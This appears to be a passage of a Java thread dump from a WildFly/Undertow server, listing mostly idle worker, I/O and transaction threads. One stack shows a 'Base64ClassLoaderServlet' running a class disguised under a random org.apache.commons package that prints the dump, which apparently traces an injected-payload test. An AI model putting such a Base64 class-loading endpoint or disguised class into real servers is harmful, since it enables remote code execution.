java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-22" #130 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Reference Reaper #2" #142 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6f149d97 + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.5.4.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 82" #151 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-19" #127 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"MSC service thread 1-2" #17 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 16" #41 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 40" #67 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 I/O-1" #134 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Transaction Expired Entry Monitor" #138 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@76c0c7ec + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:190) + +"default task-4" #158 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.8/java.lang.Thread.getAllStackTraces(Thread.java:1658) + at org.apache.commons.XgJbZ.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:337) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:156) + at deployment.app.war//Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at deployment.app.war//EmptyFilter.doFilter(EmptyFilter.java:21) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78) + at io.undertow.core@2.2.5.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.core@2.2.5.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.core@2.2.5.Final//io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.core@2.2.5.Final//io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.core@2.2.5.Final//io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50) + at io.undertow.core@2.2.5.Final//io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.core@2.2.5.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61) + at io.undertow.core@2.2.5.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.core@2.2.5.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:269) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:78) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:133) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:130) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction$$Lambda$1176/0x0000000840c4c440.call(Unknown Source) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$1177/0x0000000840c49040.call(Unknown Source) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$1177/0x0000000840c49040.call(Unknown Source) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$1177/0x0000000840c49040.call(Unknown Source) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1530) + at org.wildfly.extension.undertow@23.0.2.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$1177/0x0000000840c49040.call(Unknown Source) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:249) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:78) + at io.undertow.servlet@2.2.5.Final//io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:99) + at io.undertow.core@2.2.5.Final//io.undertow.server.Connectors.executeRootHandler(Connectors.java:387) + at io.undertow.core@2.2.5.Final//io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:841) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:1990) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1486) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1377) + at org.jboss.xnio@3.8.4.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1280) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 32" #57 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-6" #114 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"RxSchedulerPurge-1" #145 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@691bbb5a + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 14" #39 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 31" #56 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-8" #23 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"Reference Reaper #1" #141 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6f149d97 + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.5.4.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 35" #60 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 65" #95 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 50" #77 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Reaper" #139 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@6f62f763 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:90) + +"ServerService Thread Pool -- 67" #97 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper #3" #143 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6f149d97 + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.5.4.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"default I/O-7" #115 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-16" #124 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"MSC service thread 1-1" #16 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ConnectionValidator" #133 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2451273d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2211) + at org.jboss.ironjacamar.impl@1.4.27.Final//org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:268) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"DeploymentScanner-threads - 1" #65 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c2d85c3 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-9" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"MSC service thread 1-3" #18 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@e44d216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 17" #42 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 48" #75 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 61" #91 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 78" #144 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-5" #113 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Transaction Reaper Worker 0" #140 daemon [WAITING] on java.util.LinkedList@38582e77 + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.Object.wait(Object.java:328) + at org.jboss.jts//com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForCancellations(TransactionReaper.java:328) + at 